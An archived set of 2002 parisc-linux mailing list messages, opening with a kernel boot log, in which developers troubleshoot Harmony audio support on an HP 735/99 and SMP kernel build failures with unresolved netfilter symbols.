Mar 25 09:14:09 krakatoa kernel: Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
Mar 25 09:14:09 krakatoa kernel: ttyS00 at port 0x03f8 (irq = 99) is a 16550A
Mar 25 09:14:09 krakatoa kernel: ttyS01 at port 0x02f8 (irq = 100) is a 16550A
Mar 25 09:14:09 krakatoa kernel: lp0: using parport0 (interrupt-driven).
Mar 25 09:14:09 krakatoa kernel: Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Mar 25 09:14:09 krakatoa kernel: block: 128 slots per queue, batch=32
Mar 25 09:14:09 krakatoa kernel: RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
Mar 25 09:14:09 krakatoa kernel: Uniform Multi-Platform E-IDE driver Revision: 6.31
Mar 25 09:14:09 krakatoa kernel: ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
Mar 25 09:14:09 krakatoa kernel: NS87415: IDE controller on PCI bus 00 dev 70
Mar 25 09:14:09 krakatoa kernel: NS87415: chipset revision 3
Mar 25 09:14:09 krakatoa kernel: NS87415: not 100%% native mode: will probe irqs later
Mar 25 09:14:09 krakatoa kernel:     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
Mar 25 09:14:09 krakatoa kernel:     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
Mar 25 09:14:09 krakatoa kernel: hda: SONY CD-ROM CDU4821, ATAPI CD/DVD-ROM drive
Mar 25 09:14:09 krakatoa kernel: ide0 at 0x1f0-0x1f7,0x3f6 on irq 103
Mar 25 09:14:09 krakatoa kernel: hda: ATAPI 48X CD-ROM drive, 128kB Cache
Mar 25 09:14:09 krakatoa kernel: Uniform CD-ROM driver Revision: 3.12
Mar 25 09:14:09 krakatoa kernel: loop: loaded (max 8 devices)
Mar 25 09:14:09 krakatoa kernel: Linux Tulip driver version 0.9.15-pre9 (Nov 6, 2001)
Mar 25 09:14:09 krakatoa kernel: tulip0: no phy info, aborting mtable build
Mar 25 09:14:09 krakatoa kernel: tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
Mar 25 09:14:09 krakatoa kernel: eth0: Digital DS21143 Tulip rev 48 at 0x1000, 00:10:83:35:0D:63, IRQ 66.
Mar 25 09:14:09 krakatoa kernel: SCSI subsystem driver Revision: 1.00
Mar 25 09:14:09 krakatoa kernel: sym53c8xx: at PCI bus 0, device 15, function 0
Mar 25 09:14:09 krakatoa kernel: sym53c8xx: 53c896 detected
Mar 25 09:14:09 krakatoa kernel: sym53c8xx: at PCI bus 0, device 15, function 1
Mar 25 09:14:09 krakatoa kernel: sym53c8xx: 53c896 detected
Mar 25 09:14:09 krakatoa kernel: sym53c896-0: rev 0x4 on pci bus 0 device 15 function 0 irq 65
Mar 25 09:14:09 krakatoa kernel: sym53c896-0: ID 7, Fast-20, Parity Checking
Mar 25 09:14:09 krakatoa kernel: sym53c896-0: handling phase mismatch from SCRIPTS.
Mar 25 09:14:09 krakatoa kernel: sym53c896-1: rev 0x4 on pci bus 0 device 15 function 1 irq 65
Mar 25 09:14:09 krakatoa kernel: sym53c896-1: ID 7, Fast-40, Parity Checking
Mar 25 09:14:09 krakatoa kernel: sym53c896-1: handling phase mismatch from SCRIPTS.
Mar 25 09:14:09 krakatoa kernel: scsi0 : sym53c8xx-1.7.3c-20010512
Mar 25 09:14:09 krakatoa kernel: scsi1 : sym53c8xx-1.7.3c-20010512
Mar 25 09:14:09 krakatoa kernel:   Vendor: SEAGATE   Model: ST336752LC        Rev: 0002
Mar 25 09:14:09 krakatoa kernel:   Type:   Direct-Access                      ANSI SCSI revision: 03
Mar 25 09:14:09 krakatoa kernel: Attached scsi disk sda at scsi1, channel 0, id 6, lun 0
Mar 25 09:14:09 krakatoa kernel: sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
Mar 25 09:14:09 krakatoa kernel: SCSI device sda: 71687369 512-byte hdwr sectors (36704 MB)
Mar 25 09:14:09 krakatoa kernel: Partition check:
Mar 25 09:14:09 krakatoa kernel:  sda: sda1 sda2 sda3 < sda5 > sda4
Mar 25 09:14:09 krakatoa kernel: sticonsole_init: searching for STI ROMs
Mar 25 09:14:09 krakatoa kernel: Console: switching to colour STI console 160x64
Mar 25 09:14:09 krakatoa kernel: md: linear personality registered as nr 1
Mar 25 09:14:09 krakatoa kernel: md: raid0 personality registered as nr 2
Mar 25 09:14:09 krakatoa kernel: md: raid1 personality registered as nr 3
Mar 25 09:14:09 krakatoa kernel: md: raid5 personality registered as nr 4
Mar 25 09:14:09 krakatoa kernel: raid5: measuring checksumming speed
Mar 25 09:14:09 krakatoa kernel:    8regs     :  1060.000 MB/sec
Mar 25 09:14:09 krakatoa kernel:    8regs_prefetch:  1060.000 MB/sec
Mar 25 09:14:09 krakatoa kernel:    32regs    :   752.800 MB/sec
Mar 25 09:14:09 krakatoa kernel:    32regs_prefetch:   753.200 MB/sec
Mar 25 09:14:09 krakatoa kernel: raid5: using function: 8regs_prefetch (1060.000 MB/sec)
Mar 25 09:14:09 krakatoa kernel: md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
Mar 25 09:14:09 krakatoa kernel: md: Autodetecting RAID arrays.
Mar 25 09:14:09 krakatoa kernel: md: autorun ...
Mar 25 09:14:09 krakatoa kernel: md: ... autorun DONE.
Mar 25 09:14:09 krakatoa kernel: NET4: Linux TCP/IP 1.0 for NET4.0
Mar 25 09:14:09 krakatoa kernel: IP Protocols: ICMP, UDP, TCP, IGMP
Mar 25 09:14:09 krakatoa kernel: IP: routing cache hash table of 512 buckets, 24Kbytes
Mar 25 09:14:09 krakatoa kernel: TCP: Hash tables configured (established 4096 bind 8192)
Mar 25 09:14:09 krakatoa kernel: NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
Mar 25 09:14:09 krakatoa kernel: VFS: Mounted root (ext2 filesystem) readonly.
Mar 25 09:14:09 krakatoa kernel: NOT FREEING INITMEM (388k)
Mar 25 09:14:09 krakatoa kernel: Adding Swap: 497972k swap-space (priority -1)
Mar 25 09:14:09 krakatoa kernel: eth0: Setting full-duplex based on MII#1 link partner capability of 01e1.




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Using Audio card on 735/99
Date: Mon, 25 Mar 2002 22:06:38 +0100
Lines: 53
Approved: news@gmane.org
Message-ID: <200203252206.38932.deller@gmx.de>
References: <200203242042.g2OKgET57280@smtp.monmouth.com> <20020324210214.E28384@parcelfarce.linux.theplanet.co.uk> <200203250156.g2P1ufT92697@smtp.monmouth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621183 5283 80.91.229.3 (22 Nov 2014 01:53:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:03 +0000 (UTC)
To: "Vlad D. Markov" <markov@monmouth.com>,
	parisc-linux@parisc-linux.org, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 14:09:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id A105C482C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 14:09:53 -0700 (MST)
Original-Received: (qmail 2294 invoked by uid 0); 25 Mar 2002 21:09:39 -0000
Original-Received: from pd904036d.dip.t-dialin.net (HELO P100) (217.4.3.109)
  by mail.gmx.net (mp014-rz3) with SMTP; 25 Mar 2002 21:09:39 -0000
X-Mailer: KMail [version 1.4]
In-Reply-To: <200203250156.g2P1ufT92697@smtp.monmouth.com>
X-Message-Flag: Mailbox corruption detected. Please delete Outlook!
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14421

Hi Vlad,

couldn't you retry with mpg123 ? 
xmms is often very slow....

Helge

On Monday 25 March 2002 02:46, Vlad D. Markov wrote:
> Moderate success.
>
> 1. aumix worked.
> 2. xmms hung forever.
> 3. I wrote an au file to /dev/dsp. I thought nothing happened. Minutes
> later I was surprised to hear the file over my headphones. I have been
> unable to repeat this.
>
> On Sunday 24 March 2002 04:02 pm, Matthew Wilcox wrote:
> > [this is a kernel-related question, moving discussion to parisc-linux]
> >
> > On Sun, Mar 24, 2002 at 03:32:53PM -0500, Vlad D. Markov wrote:
> > > I would like to use my audio card on my 735/99 but have failed so far.
> > >
> > > I have used various kernel versions, the last attempt was with a kernel
> > > drawn from cvs on 3/21/02, Linux version 2.4.18-pa7. dmesg doesn't list
> > > the harmony card as found. The harmony driver was compiled with the
> > > kernel.
> >
> > Harmony doesn't claim to support that device.  I don't know that it will
> > work ... but you might be lucky :-)
> >
> > Try adding this patch and let's see what happens:
> >
> > --- drivers/sound/harmony.c     2002/02/14 19:02:21     1.25
> > +++ drivers/sound/harmony.c     2002/03/24 20:52:31
> > @@ -1244,7 +1244,10 @@ out_err:
> >
> >
> >  static struct parisc_device_id harmony_tbl[] = {
> > +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007A },
> >         { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007B },
> > +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007E },
> > +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007F },
> >         { 0, }
> >  };
> >
> >
> > This makes harmony pick up all the Audio devices, including some it
> > almost certainly won't support (eg 705 / 710 audio, which i understand
> > to be completely different).  But maybe 735's sound will Just Work.
> > Let's hope.




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building cvs 2.4.18
Date: Mon, 25 Mar 2002 14:06:47 -0800 (PST)
Lines: 26
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621184 5287 80.91.229.3 (22 Nov 2014 01:53:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:04 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 15:06:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2A892482C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 15:06:54 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id 68A9A7BC46
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 14:06:47 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14422

I just checked out the latest cvs and I am trying to build it.
I copied the arch/parisc/debian-configs/32-smp to .config and ran
make-kpkg -rev jeremyd.0 kernel_image .  It clicks away for a while and
then dies on pcnet32.  I don't need pcnet32, so I removed it from the
config and went on.  Everything build successfully, but the depmod died.
Here's the output

depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.18-pa8/kernel/net/ipv4/netfilter/ip_tables.o
depmod:         smp_num_cpus
depmod:         __cpu_number_map
depmod: *** Unresolved symbols in
/usr/src/linux/debian/tmp-image/lib/modules/2.4.18-pa8/kernel/net/ipv4/netfilter/ipchains.o
depmod:         smp_num_cpus
depmod:         __cpu_number_map
make[2]: *** [_modinst_post] Error 1


-- 
Endless the world's turn, endless the sun's spinning
Endless the quest;
I turn again, back to my own beginning,
And here, find rest.




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Vlad D. Markov" <markov@monmouth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Using Audio card on 735/99
Date: Mon, 25 Mar 2002 21:40:28 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <200203260252.g2Q2q4T05473@smtp.monmouth.com>
References: <200203242042.g2OKgET57280@smtp.monmouth.com> <20020324210214.E28384@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621184 5289 80.91.229.3 (22 Nov 2014 01:53:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: parisc-linux@parisc-linux.org, Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 19:52:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp.monmouth.com (smtp.monmouth.com [209.191.58.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id C30B7482C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 19:52:07 -0700 (MST)
Original-Received: from there (bg-tc-ppp424.monmouth.com [209.191.61.173])
	by smtp.monmouth.com (8.11.6/8.11.6) with SMTP id g2Q2q4T05473;
	Mon, 25 Mar 2002 21:52:04 -0500 (EST)
X-Mailer: KMail [version 1.3.2]
In-Reply-To: <20020324210214.E28384@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14423

Eureka - I am happily listening listening to my mp3s using mpg123 on my 
735/99. Thank you very much.

I get some errors when loading the files:
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0008 
requested.
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0040 
requested.
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0080 
requested.
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0008 
requested.
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0040 
requested.
Mar 25 21:36:20 grumpy kernel: harmony: unsupported sound format 0x0080 
requested.


On Sunday 24 March 2002 04:02 pm, Matthew Wilcox wrote:
> [this is a kernel-related question, moving discussion to parisc-linux]
>
> On Sun, Mar 24, 2002 at 03:32:53PM -0500, Vlad D. Markov wrote:
> > I would like to use my audio card on my 735/99 but have failed so far.
> >
> > I have used various kernel versions, the last attempt was with a kernel
> > drawn from cvs on 3/21/02, Linux version 2.4.18-pa7. dmesg doesn't list
> > the harmony card as found. The harmony driver was compiled with the
> > kernel.
>
> Harmony doesn't claim to support that device.  I don't know that it will
> work ... but you might be lucky :-)
>
> Try adding this patch and let's see what happens:
>
> --- drivers/sound/harmony.c     2002/02/14 19:02:21     1.25
> +++ drivers/sound/harmony.c     2002/03/24 20:52:31
> @@ -1244,7 +1244,10 @@ out_err:
>
>
>  static struct parisc_device_id harmony_tbl[] = {
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007A },
>         { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007B },
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007E },
> +       { HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0007F },
>         { 0, }
>  };
>
>
> This makes harmony pick up all the Audio devices, including some it
> almost certainly won't support (eg 705 / 710 audio, which i understand
> to be completely different).  But maybe 735's sound will Just Work.
> Let's hope.



From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.17-32-smp problem
Date: Mon, 25 Mar 2002 21:26:39 -0800 (PST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203252123370.13376-100000@eiger.apptechsys.com>
References: <Pine.LNX.4.33L2.0203250948230.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621184 5291 80.91.229.3 (22 Nov 2014 01:53:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:04 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 22:26:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id AD348482C
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 22:26:46 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id BFBCD7BC46
	for <parisc-linux@parisc-linux.org>; Mon, 25 Mar 2002 21:26:39 -0800 (PST)
In-Reply-To: <Pine.LNX.4.33L2.0203250948230.13376-100000@eiger.apptechsys.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14424

This also seems to apply to 2.4.18 from cvs co at 5 pm west coast time.
The config I used was arch/parisc/debian-configs/32-smp with the following
changes: removed netfilter and pcnet32 modules as they were breaking the
build.


-- 
You have a deep appreciation of the arts and music.




From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Mon, 25 Mar 2002 23:32:17 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020326063217.50AB1482C@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621185 5296 80.91.229.3 (22 Nov 2014 01:53:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 23:32:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 50AB1482C; Mon, 25 Mar 2002 23:32:17 -0700 (MST)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Mon, 25 Mar 2002 14:06:47 PST." <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14425

Jeremy Drake wrote:
> config and went on.  Everything build successfully, but the depmod died.
> Here's the output
> 
> depmod: *** Unresolved symbols in
> /usr/src/linux/debian/tmp-image/lib/modules/2.4.18-pa8/kernel/net/ipv4/netfil
>   ter/ip_tables.o
> depmod:         smp_num_cpus
> depmod:         __cpu_number_map

hmm...this must have recently broke since I've built plenty
of SMP kernels with iptables enabled. I've stopped building SMP
for 2.4.18 since SMP is b0rken at the moment. But i don't think
we changed anything related to this since I've stopped...can you
run "make clean;make dep; make vmlinux;make modules" again?

> depmod: *** Unresolved symbols in
> /usr/src/linux/debian/tmp-image/lib/modules/2.4.18-pa8/kernel/net/ipv4/netfil
>   ter/ipchains.o
> depmod:         smp_num_cpus
> depmod:         __cpu_number_map

If you can, ditch ipchains. If you need examples on how to
use iptables look at ftp.p-l.o:patches/a500/firewall.

grant



From - Thu Nov 08 21:22:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building cvs 2.4.18
Date: Mon, 25 Mar 2002 23:45:03 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20020326064503.72DCE482C@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203251403190.13376-100000@eiger.apptechsys.com>  <20020326063217.50AB1482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621185 5299 80.91.229.3 (22 Nov 2014 01:53:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 25 23:45:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 72DCE482C; Mon, 25 Mar 2002 23:45:03 -0700 (MST)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Mon, 25 Mar 2002 23:32:17 MST." <20020326063217.50AB1482C@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14426

Grant Grundler wrote:
> hmm...this must have recently broke since I've built plenty
> of SMP kernels with iptables enabled.

Sorry - I checked and my SMP builds had iptables statically linked in.
My non-SMP builds had iptables as a module. This should be easy to
fix (add missing EXPORT_SYMS to arch/parisc/kernel/parisc_ksyms.c).
If no one beats me to it, I'll do that tomorrow.

grant



From - Thu Nov 08 21:22:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dump: need disk layout function.
Date: Tue, 26 Mar 2002 08:09:40 +0100
Organization: H.P
Lines: 39
Approved: news@gmane.org
Message-ID: <3CA01EB4.52B5F416@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------03E7AF66C5D2F08F14376692"
X-Trace: ger.gmane.org 1416621185 5302 80.91.229.3 (22 Nov 2014 01:53:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:05 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 26 00:13:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id CC96A482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 00:13:45 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 4A3F314A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 08:13:43 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id IAA08955 for <parisc-linux@lists.parisc-linux.org>; Tue, 26 Mar 2002 08:12:56 +0100 (MET)
